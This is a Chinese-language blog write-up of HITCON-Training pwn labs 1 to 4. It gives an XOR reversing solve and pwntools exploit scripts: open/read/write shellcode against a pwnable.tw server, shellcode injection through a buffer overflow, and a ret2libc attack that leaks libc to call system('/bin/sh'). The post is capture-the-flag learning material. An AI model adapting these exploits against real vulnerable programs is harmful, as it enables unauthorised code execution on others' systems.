HITCON-Training

最近观摩了v爷爷的blog。。。
外加人人人催促学pwn时提到了这玩意。。。
没办法,开始一波学习。
题目比较基础,适合我这种萌新入门。
之前因为太着急了一直在看堆。。。前面基础没有打扎实,现在重新复习一下下。

lab1

就是个re嘛
2
让你熟悉调试器的
脚本直接解

1
2
3
4
5
6
7
8
9
10
a = [0x07, 0x3B, 0x19, 0x02, 0x0B, 0x10, 0x3D, 0x1E, 0x09, 0x08,
0x12, 0x2D, 0x28, 0x59, 0x0A, 0x00, 0x1E, 0x16, 0x00, 0x04,
0x55, 0x16, 0x08, 0x1F, 0x07, 0x01, 0x09, 0x00, 0x7E, 0x1C,
0x3E, 0x0A, 0x1E, 0x0B, 0x6B, 0x04, 0x42, 0x3C, 0x2C, 0x5B,
0x31, 0x55, 0x02, 0x1E, 0x21, 0x10, 0x4C, 0x1E, 0x42]
b = 'Do_you_know_why_my_teammate_Orange_is_so_angry???'
flag = ''
for i in range(len(b)):
flag += chr(ord(b[i])^a[i])
print flag

lab2

orw
3
pwnable.tw原题
orw_seccomp()是个类似白名单的东西
他限制了sys的使用
但是没关系,我们的目的是flag
用orw读就行了
一开始以为要自写汇编。。。但是自身汇编功底没那么猛。。。有点懵逼,后来发现shellcraft已经集成好了这玩意

1
2
3
4
5
6
7
8
9
10
11
from pwn import  *

p = remote('chall.pwnable.tw',10001)
p.recvuntil(':')
shellcode = ""
shellcode += shellcraft.i386.pushstr("/home/orw/flag")
shellcode += shellcraft.i386.linux.syscall("SYS_open", 'esp')
shellcode += shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x26)
shellcode += shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x26)
p.send(asm(shellcode))
p.interactive()

lab3

ret2sc第一次在name处注入sc
然后gets溢出过去。
反编译后显示的溢出偏移位是不对的
一般出现这种情况都是因为程序优化,通过esp来寻址
看了下反汇编,果不其然。。。
1
调试即可获得偏移位

1
2
3
4
5
6
7
8
9
from pwn import *
a =process("./ret2sc")
a.recvuntil(":")
sc = asm(shellcraft.sh())
a.send(sc)
a.recvuntil(":")
pay = 'a'*32 + p32(0x0804A060)
a.send(pay)
a.interactive()

lab4

ret2libc
不知道为什么每次遇到ret2libc 我的18.04总是打不下来
只好用16.04了。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
a = process("./ret2lib")
lib = ELF("/lib/i386-linux-gnu/libc.so.6")
elf = ELF("ret2lib")
a.recvuntil(":")
a.send(str(elf.got['read']))
str = a.recv()
real = int(str[31:39],16)
print real
#a.recvuntil("Leave some message for me :")
sys = real - lib.symbols['read'] + lib.symbols['system']
sh = real - lib.symbols['read'] + lib.search('/bin/sh').next()
pay = 'a'*0x38 + 'aaaa' + p32(sys) + p32(sh) + p32(sh)
a.send(pay)
a.interactive()

未完待续

文章目录
  1. 1. lab1
  2. 2. lab2
  3. 3. lab3
  4. 4. lab4
|